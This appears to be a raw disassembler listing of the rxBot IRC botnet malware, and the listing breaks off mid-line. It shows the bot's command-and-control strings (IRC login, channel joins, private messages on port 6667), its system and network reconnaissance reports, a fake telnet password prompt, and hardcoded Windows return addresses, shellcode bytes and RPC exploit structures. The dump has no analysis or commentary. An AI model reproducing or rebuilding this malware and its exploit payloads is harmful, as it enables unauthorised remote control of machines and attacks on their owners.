XREF: sub_405FF3+14Ao ; .packed:00416EB0o align 10h aMe db 'ME',0 ; DATA XREF: sub_405FF3+131o align 4 a98 db '98',0 ; DATA XREF: sub_405FF3+121o align 4 aNt db 'NT',0 ; DATA XREF: sub_405FF3+111o align 4 a95 db '95',0 ; DATA XREF: sub_405FF3+103o align 10h aNoSp db 'no SP',0 ; DATA XREF: sub_405FF3+E8o align 4 a?: ; DATA XREF: sub_405FF3+E3o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4062CF+21o align 4 dword_41428C dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_40656A+1C8o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_40656A+15Bo align 10h aAvarage db 'Avarage',0 ; DATA XREF: sub_40656A+14Fo aBad db 'Bad',0 ; DATA XREF: sub_40656A+148o aLan db 'LAN',0 ; DATA XREF: sub_40656A:loc_40666Do aModem db 'Modem',0 ; DATA XREF: sub_40656A+FCo align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_40656A+AEo aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_40677A+21o align 10h dword_4143A0 dd 5C3A41h ; DATA XREF: sub_4067B2+6r ; sub_40682C+60r ... dword_4143A4 dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_40682C+1A2o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4143DC dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_40682C+15Ao dword_4143EC dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_40682C+13Bo dd 20424D02h, 65657266h, 0 aUnknown db 'unknown',0 ; DATA XREF: sub_40682C+FAo ; sub_40E6A0+36o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_40682C+F3o aCdRom db 'cd-rom',0 ; DATA XREF: sub_40682C+E9o align 4 aRemote db 'remote',0 ; DATA XREF: sub_40682C+DDo align 4 aFixed db 'fixed',0 ; DATA XREF: sub_40682C+D1o align 4 a_ db '. ',0 ; DATA XREF: sub_40682C+BDo ; sub_40682C+184o align 4 aRemovable db 'removable',0 ; DATA XREF: sub_40682C+88o align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_40682C+2Bo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_406A08+21o align 10h aThread db 'thread',0 ; DATA XREF: sub_406BBC+76o ; sub_406CB2+7Bo align 4 aBtg db 'btg',0 ; DATA XREF: sub_406BBC+71o dword_41447C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_406BBC+54o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_406EA9+60o ; sub_406F84+86o align 4 dword_4144C4 dd 3430032Dh, 2037802h ; DATA XREF: sub_4070AF+DAo aNoThreadsRunni db '- No threads running.',0 align 4 dword_4144E4 dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_4070AF+9Co dword_4144F4 dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_4070AF+40o dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_407237+14o align 4 dword_414548 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_4072FC+260o dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_414574 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_4072FC+203o dd 30033A72h, 64250234h, 203h dword_41459C dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_4072FC+1DCo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_4072FC:loc_407466o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4072FC+6Do aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4072FC+5Bo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4072FC+53o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_4072FC+35o align 10h unk_414620 db 55h ; U ; DATA XREF: sub_40756C+Do db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_414664 dd 202h ; DATA XREF: sub_40765C+F8o dword_414668 dd 0A0D7325h, 0 ; DATA XREF: sub_40765C+5Fo dword_414670 dd 3334h ; DATA XREF: sub_40765C+3Ao dword_414674 dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40765C+28o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_4146A0 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_4077A7+45o dd 2E020373h, 0 dword_4146BC dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40780C+7Fo dd 30032072h, 73250234h, 203h dword_4146DC dd 92F7A6A9h, 85DFC8A6h, 0E8D1A4D0h, 0D4E1h, 0 ; DATA XREF: sub_40780C+4Do aAbcdef db 'abcdef',0 ; DATA XREF: sub_4079AC+9o align 4 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_407A76:loc_408CFFo align 10h dword_414710 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_407A76+1279o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_414734 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_407A76+1232o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h aUsername db 'username',0 ; DATA XREF: sub_407A76:loc_408B81o align 4 aId db 'id',0 ; DATA XREF: sub_407A76+10EAo align 4 dword_4147B8 dd 2ABF0h ; DATA XREF: sub_407A76+10C6r align 10h dword_4147C0 dd 4CD6B30h ; DATA XREF: sub_407A76+10BEr dd 2 dup(0) dword_4147CC dd 4BB8h ; DATA XREF: sub_407A76:loc_408B2Cr dd 0 dword_4147D4 dd 4365310h ; DATA XREF: sub_407A76:loc_408B13r align 10h a9252 db '9252',0 ; DATA XREF: sub_407A76+1067o align 4 dword_4147E8 dd 548DB0F1h ; DATA XREF: sub_407A76+105Er dd 3 dup(0) dword_4147F8 dd 1887BC00h ; DATA XREF: sub_407A76+1052r dd 2 dup(0) dword_414804 dd 187F0h ; DATA XREF: sub_407A76+1046r dd 0 dword_41480C dd 28F1BC00h ; DATA XREF: sub_407A76+103Ar dd 2 dup(0) dword_414818 dd 28E90h ; DATA XREF: sub_407A76:loc_408AA4r align 10h dword_414820 dd 27FC4CF0h ; DATA XREF: sub_407A76+1009r dd 2 dup(0) dword_41482C dd 20E14300h ; DATA XREF: sub_407A76+FFDr dd 2 dup(0) dword_414838 dd 20CD0h ; DATA XREF: sub_407A76:loc_408A67r align 10h dword_414840 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_407A76+FE7o dd 63h dword_414858 dd 0ABB370h ; DATA XREF: sub_407A76:loc_4089A3r dd 2 dup(0) dword_414864 dd 2343003h, 2037325h ; DATA XREF: sub_407A76+F23o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_414880 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_407A76+F0Do dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_407A76+E7Do ; .packed:00416EB8o align 4 dword_4148B8 dd 3A4D8ED6h ; DATA XREF: sub_407A76:loc_4088C0r dd 3 dup(0) dword_4148C8 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_407A76+E40o dd 2037325h, 2Eh dword_4148E4 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_407A76+E2Do dd 2037325h, 0 dword_414900 dd 8CD90h ; DATA XREF: sub_407A76:loc_40883Ar dd 2 dup(0) dword_41490C dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_407A76+D90o dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_414940 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_407A76+D71o dd 3A737365h, 34300320h, 3732502h, 2 dword_414964 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_407A76+D42o dd 3A737365h, 34300320h, 3732502h, 2 dword_414988 dd 3Ch ; DATA XREF: sub_407A76+D35o ; sub_407A76+D64o ... dword_41498C dd 22D90h ; DATA XREF: sub_407A76+CB8r dd 0 dword_414994 dd 75FC4CF4h ; DATA XREF: sub_407A76+CACr dd 3 dup(0) dword_4149A4 dd 54FACD0h ; DATA XREF: sub_407A76:loc_408716r align 10h dword_4149B0 dd 23A8h ; DATA XREF: sub_407A76+C81r align 8 dword_4149B8 dd 0A6C5A0h ; DATA XREF: sub_407A76+C75r dd 2 dup(0) dword_4149C4 dd 26730h ; DATA XREF: sub_407A76:loc_4086DFr dd 0 dword_4149CC dd 21ABF1A9h ; DATA XREF: sub_407A76:loc_4086CDr dd 3 dup(0) dword_4149DC dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_407A76+C41o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_414A0C dd 13D450h ; DATA XREF: sub_407A76:loc_40869Fr dd 2 dup(0) dword_414A18 dd 11E3EAF0h ; DATA XREF: sub_407A76+BD4r dd 2 dup(0) dword_414A24 dd 220F0h ; DATA XREF: sub_407A76+BC8r dd 0 dword_414A2C dd 119970h ; DATA XREF: sub_407A76+BBCr dd 2 dup(0) dword_414A38 dd 128170h ; DATA XREF: sub_407A76:loc_408626r dd 2 dup(0) dword_414A44 dd 45444F4Dh, 732520h ; DATA XREF: sub_407A76+BA6o dword_414A4C dd 8C770h ; DATA XREF: sub_407A76:loc_408604r dd 2 dup(0) dword_414A58 dd 7FE2F929h ; DATA XREF: sub_407A76:loc_4085EBr dd 3 dup(0) aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_407A76+B4Fo align 4 aOff db 'off',0 ; DATA XREF: sub_407A76+B49o aOn db 'on',0 ; DATA XREF: sub_407A76+B42o ; sub_407A76:loc_4085CFo align 4 dword_414A84 dd 8FDF90h ; DATA XREF: sub_407A76:loc_4085A1r align 10h dword_414A90 dd 11990h ; DATA XREF: sub_407A76:loc_408585r align 8 dword_414A98 dd 2FE1870h ; DATA XREF: sub_407A76:loc_408556r dd 2 dup(0) dword_414AA4 dd 12E90h ; DATA XREF: sub_407A76:loc_408527r dd 0 dword_414AAC dd 0A483B8h ; DATA XREF: sub_407A76:loc_4084F6r dd 2 dup(0) dword_414AB8 dd 54524150h, 732520h ; DATA XREF: sub_407A76+A76o dword_414AC0 dd 127AF0h ; DATA XREF: sub_407A76:loc_4084D8r dd 2 dup(0) dword_414ACC dd 166200h ; DATA XREF: sub_407A76:loc_4084B3r dd 2 dup(0) dword_414AD8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_407A76:loc_4084A4o ; sub_409918+44Do dword_414AE4 dd 8DA00h ; DATA XREF: sub_407A76:loc_408465r align 10h aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_407A76+9D9o align 4 dword_414B04 dd 22FC130h ; DATA XREF: sub_407A76:loc_408442r align 10h dword_414B10 dd 967690h ; DATA XREF: sub_407A76:loc_408423r dd 2 dup(0) dword_414B1C dd 8FD870h ; DATA XREF: sub_407A76:loc_4083FEr dd 2 dup(0) dword_414B28 dd 6C6E177Ah ; DATA XREF: sub_407A76:loc_4083E2r dd 3 dup(0) dword_414B38 dd 11C1E0F0h ; DATA XREF: sub_407A76:loc_4083C3r dd 2 dup(0) dword_414B44 dd 7D3A3379h ; DATA XREF: sub_407A76:loc_4083AEr dd 3 dup(0) dword_414B54 dd 2606B70h ; DATA XREF: sub_407A76:loc_408392r align 10h dword_414B60 dd 0DD1A0h ; DATA XREF: sub_407A76:loc_40837Dr dd 2 dup(0) dword_414B6C dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_407A76+8E3o dword_414B80 dd 0DA607ED0h ; DATA XREF: sub_407A76:loc_408345r align 10h dword_414B90 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_407A76+8B9o dd 2037325h, 0 dword_414BAC dd 8FCCB0h ; DATA XREF: sub_407A76:loc_4082EAr dd 2 dup(0) aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_407A76+86Do align 4 dword_414BCC dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_407A76+819o dd 2037325h, 0 dword_414BE8 dd 0ECB0h ; DATA XREF: sub_407A76:loc_40823Dr align 10h dword_414BF0 dd 2444A601h ; DATA XREF: sub_407A76:loc_408212r align 10h dword_414C00 dd 1E546F56h ; DATA XREF: sub_407A76:loc_4081C6r dd 4 dup(0) dword_414C14 dd 1BB4B511h ; DATA XREF: sub_407A76+737r dd 3 dup(0) dword_414C24 dd 15A600h ; DATA XREF: sub_407A76+72Br align 10h dword_414C30 dd 23002600h ; DATA XREF: sub_407A76+71Fr dd 2 dup(0) dword_414C3C dd 2692600h ; DATA XREF: sub_407A76:loc_408189r dd 2 dup(0) dword_414C48 dd 23769570h ; DATA XREF: sub_407A76:loc_40816Ar dd 2 dup(0) dword_414C54 dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_407A76+6EAo dword_414C64 dd 2538h ; DATA XREF: sub_407A76:loc_408153r dd 0 dword_414C6C dd 24EF1110h ; DATA XREF: sub_407A76:loc_40813Ar dd 2 dup(0) dword_414C78 dd 0F3567F0h ; DATA XREF: sub_407A76:loc_40812Fr dd 2 dup(0) dword_414C84 dd 0F34D1A0h ; DATA XREF: sub_407A76:loc_40810Er align 10h dword_414C90 dd 5F835274h ; DATA XREF: sub_407A76:loc_4080F6r align 10h dword_414CA0 dd 5F837B94h ; DATA XREF: sub_407A76:loc_4080C3r align 10h dword_414CB0 dd 9C263Dh ; DATA XREF: sub_407A76:loc_4080A1r align 10h dword_414CC0 dd 1839E0F1h ; DATA XREF: sub_407A76:loc_40807Fr align 10h dword_414CD0 dd 154BF0h ; DATA XREF: sub_407A76:loc_40805Dr dd 2 dup(0) dword_414CDC dd 1DA334F1h ; DATA XREF: sub_407A76+5C8r dd 3 dup(0) dword_414CEC dd 0FB98730h ; DATA XREF: sub_407A76+5BCr dd 2 dup(0) dword_414CF8 dd 7DB90h ; DATA XREF: sub_407A76:loc_408026r dd 2 dup(0) dword_414D04 dd 0E64F0h ; DATA XREF: sub_407A76:loc_408002r align 10h dword_414D10 dd 2D10h ; DATA XREF: sub_407A76:loc_407FDAr align 8 aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_407A76+522o align 10h aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_407A76+51Bo align 10h dword_414D70 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_407A76+514o dword_414D80 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_407A76+504o dword_414D8C dd 0BFh, 0 ; DATA XREF: sub_407A76+4F4o dword_414D94 dd 0DEC0878Bh, 0BEFCC6A0h, 0A68AEFE1h, 0B9938EAAh, 0DBEBEBFEh ; DATA XREF: sub_407A76+4E2o dd 0D990DC88h, 0A88CEF99h, 2 dup(0) dword_414DB8 dd 41AC160h ; DATA XREF: sub_407A76:loc_407F4Ar dd 2 dup(0) dword_414DC4 dd 0EBF684B8h ; DATA XREF: sub_407A76:loc_407F31r dd 3 dup(0) dword_414DD4 dd 2EE64F71h ; DATA XREF: sub_407A76:loc_407EE1r dd 3 dup(0) dword_414DE4 dd 0BDDC8D9Ch, 0BCF4AE92h, 0D4AE9AF4h, 0BAFEF6D0h, 0CFABFC87h ; DATA XREF: sub_407A76+386o dd 0CE86D1E3h, 2 dup(0) dword_414E04 dd 92FFA79Ah, 0A7D287A1h, 0F39BA5CBh, 0A6E0D4E7h, 2 dup(0) ; DATA XREF: sub_407A76+2DAo dword_414E1C dd 0AFDE818Dh, 0B2ECA782h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: sub_407A76+2C9o dd 98DA88BCh, 0C8DFB9CEh, 97EAFCD0h, 95FDBCACh, 85DBB0A1h dd 0E890A3CAh, 2 dup(0) dword_414E50 dd 1DBA0h ; DATA XREF: sub_407A76:loc_407D31r align 8 dword_414E58 dd 183B7CF1h ; DATA XREF: sub_407A76:loc_407D18r dd 3 dup(0) dword_414E68 dd 183ED1A1h ; DATA XREF: sub_407A76:loc_407CFCr dd 3 dup(0) dword_414E78 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_407A76+27Co dd 3203A64h, 25023430h, 20373h dword_414E98 dd 2450F230h ; DATA XREF: sub_407A76:loc_407C5Er dd 2 dup(0) dword_414EA4 dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_407A76+1DEo dd 3D203A64h, 2343003h, 2037325h, 0 dword_414EC8 dd 232320h ; DATA XREF: sub_407A76+15Fo dword_414ECC dd 22D8F230h ; DATA XREF: sub_407A76:loc_407B8Ar dd 2 dup(0) dword_414ED8 dd 0A90090h ; DATA XREF: sub_407A76:loc_407B6Br dd 2 dup(0) dword_414EE4 dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_407A76+EBo dd 2037325h, 0 dword_414F00 dd 4730930h ; DATA XREF: sub_407A76:loc_407B31r dd 2 dup(0) dword_414F0C dd 4B43494Eh, 732520h ; DATA XREF: sub_407A76:loc_407B16o ; sub_409277+F0o ... dword_414F14 dd 0B36E0h ; DATA XREF: sub_407A76:loc_407AECr align 10h dword_414F20 dd 97769270h ; DATA XREF: sub_407A76+57r align 10h aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408D81+53o ; sub_409918+631o align 10h asc_414F50: ; DATA XREF: sub_408D81+29o unicode 0, <;>,0 asc_414F54 db '<=',0 ; DATA XREF: sub_408E1A+2F2o align 4 asc_414F58 db '>=',0 ; DATA XREF: sub_408E1A+2C2o align 4 asc_414F5C: ; DATA XREF: sub_408E1A+2AAo dw 3Eh unicode 0, <>,0 asc_414F60 db '!=',0 ; DATA XREF: sub_408E1A+28Eo align 4 asc_414F64 db '==',0 ; DATA XREF: sub_408E1A+272o align 4 aIpv6 db '$ipv6',0 ; DATA XREF: sub_408E1A+181o ; sub_408E1A+253o align 10h aFirewall db '$firewall',0 ; DATA XREF: sub_408E1A+166o ; sub_408E1A+238o align 4 aLatency db '$latency',0 ; DATA XREF: sub_408E1A+14Bo ; sub_408E1A+21Do align 4 aFree_0 db '$free',0 ; DATA XREF: sub_408E1A+130o ; sub_408E1A+202o align 10h aVersion db '$version',0 ; DATA XREF: sub_408E1A+115o ; sub_408E1A+1E7o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_408E1A+EEo ; sub_408E1A+1C0o a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_408E1A+9Co align 4 asc_414FB4 db '&&',0 ; DATA XREF: sub_408E1A+6Ao align 4 asc_414FB8: ; DATA XREF: sub_408E1A+21o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_409149+46o align 4 a6667 db '6667',0 ; DATA XREF: sub_4091AD:loc_4091D8o align 10h aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_409277+230o ; sub_409918+384o align 4 aG: ; DATA XREF: sub_409277+1AFo ; sub_409918+303o unicode 0, <G>,0 aA: ; DATA XREF: sub_409277+1A3o ; sub_409918+2F7o unicode 0, <A>,0 aB: ; DATA XREF: sub_409277+19Co ; sub_409918+2F0o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_409277+167o ; sub_409918+2BCo aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_409277+C7o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_409277+3Do aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_4095E7+16o ; sub_4096CB+2Eo aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_409659+16o ; sub_4096CB:loc_409720o align 10h dword_415040 dd 1 ; DATA XREF: sub_4096CB+CDo dword_415044 dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_4096CB+8Ao dword_415050 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_4096CB+4Eo dword_415060 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_4096CB+3Eo aMirc db 'mIRC',0 ; DATA XREF: sub_409835+2o ; sub_409843+1Co align 4 asc_415078: ; DATA XREF: sub_409918+890o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_409918:loc_409FE7o ; sub_40A236+70o align 4 asc_415084 db '][',0 ; DATA XREF: sub_409918+607o align 4 a332 db '332',0 ; DATA XREF: sub_409918:loc_409E8Eo aNick db 'NICK',0 ; DATA XREF: sub_409918:loc_409E54o align 4 a@: ; DATA XREF: sub_409918+4E4o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_409918:loc_409DDEo ; sub_40A236+2Fo a451 db '451',0 ; DATA XREF: sub_409918:loc_409DC1o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_409918+487o aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_409918+437o a001 db '001',0 ; DATA XREF: sub_409918:loc_409D19o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_409918+3F7o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_409918:loc_409CDAo align 4 aError db 'ERROR',0 ; DATA XREF: sub_409918:loc_409CBBo align 4 a433 db '433',0 ; DATA XREF: sub_409918:loc_409B57o dword_4150E0 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_409918+22Bo aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_409918:loc_409B3Eo dword_415100 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_409918+211o dd 73256433h, 69572820h, 2932336Eh, 1 dword_415124 dd 4950013Ah, 1474Eh ; DATA XREF: sub_409918+1DAo dword_41512C dd 4950013Ah, 474Eh ; DATA XREF: sub_409918+1C7o dword_415134 dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_409918+1B4o dword_415140 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_409918:loc_409AB9o aSend db 'SEND',0 ; DATA XREF: sub_409918+AFo align 4 dword_415154 dd 4344013Ah, 43h ; DATA XREF: sub_409918+8Fo aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_409918+61o ; sub_409918+69Eo ... aMode db 'MODE',0 ; DATA XREF: sub_409918+4Ao align 4 aPong db 'PONG',0 ; DATA XREF: sub_409918:loc_40994Bo align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_409918+24o aPing db 'PING',0 ; DATA XREF: sub_409918+Fo align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40A236:loc_40A32Bo align 4 byte_415194 db 41h ; DATA XREF: sub_40A42C:loc_40A43Ar ; sub_40A51A+15r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 unk_4151D8 db 2Dh ; - ; DATA XREF: .packed:0040B6A8o ; sub_40E6A0+52o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 2Eh, 3, 30h db 34h ; 4 db 2, 25h, 73h db 3 db 2, 2Dh, 20h aU_RawTransferT db '%u. Raw transfer to %s complete.',0 align 10h aTelnet db 'telnet',0 ; DATA XREF: .packed:0040B6A2o align 4 aUserAccessVeri db 0Dh,0Ah ; DATA XREF: .packed:0040B680o db 0Dh,0Ah db 'User Access Verification',0Dh,0Ah db 0Dh,0Ah db 'Password:',0 align 4 dword_415244 dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0 ; DATA XREF: .packed:0040B651o dword_415254 dd 1130h, 0 ; DATA XREF: sub_40B6BE+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dword_415280 dd 77777777h ; DATA XREF: .packed:0040B927r dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F9D463h dword_41529C dd 750362C3h ; DATA XREF: .packed:0040B939r dd 75035173h, 3 dup(717564B8h) dword_4152B0 dd 71AB7BFBh ; DATA XREF: .packed:0040B94Br dd 773AD507h, 7C941EEDh dword_4152BC dd 77DB565Ch ; DATA XREF: .packed:loc_40B954r dd 77FD1F89h, 2 dup(77E216B8h) ; --------------------------------------------------------------------------- loc_4152CC: ; DATA XREF: .packed:0040B910o ; sub_40BAAF+D7o ... jmp short loc_4152D2 ; --------------------------------------------------------------------------- align 10h loc_4152D0: ; DATA XREF: .packed:0040B8EFo xor ebp, [esi] loc_4152D2: ; CODE XREF: .packed:loc_4152CCj aaa xor ch, [esi] xor [esi], ch xor [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) a131_131_131_13 db '131.131.131.131',0 ; DATA XREF: .packed:0040B8E4o aRxbot_paradise db 'rxbot_paradise',0 ; DATA XREF: .packed:0040B8D1o align 4 a121204131313 db '12/12/04 13:13:13',0 ; DATA XREF: .packed:0040B8BEo align 10h aRxbotWasHere db 'rxbot was here',0 ; DATA XREF: .packed:0040B8A8o align 10h aRxbot db 'rxbot',0 ; DATA XREF: .packed:0040B895o align 4 dword_415328 dd 2710h ; DATA XREF: .packed:0040B858o ; sub_40BAAF+88o dword_41532C dd 1130h, 0 ; DATA XREF: sub_40B99D+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1 db 0 byte_415355 db 3 dup(0) ; DATA XREF: .packed:off_414108o dword_415358 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh ; DATA XREF: sub_40BAAF+C4o dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dword_41537C dd 2 dup(4A9D5E21h), 0 ; DATA XREF: sub_40BAAF+9Bo dword_415388 dd 77777777h ; DATA XREF: sub_40BAAF+EDr dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F32836h dword_4153A4 dd 750362C3h ; DATA XREF: sub_40BAAF+FEr dd 75035173h, 3 dup(7C2FA0F7h) dword_4153B8 dd 71AB7BFBh ; DATA XREF: sub_40BAAF+10Fr dd 71AB7BFBh, 7C941EEDh dword_4153C4 dd 77E216B8h ; DATA XREF: sub_40BAAF:loc_40BBC7r dd 77FD1F89h, 2 dup(77E216B8h) dword_4153D4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_40BC10+38o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: ; DATA XREF: sub_40BCBD+94o unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh dd 0 dword_415454 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40BCBD+6Co dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 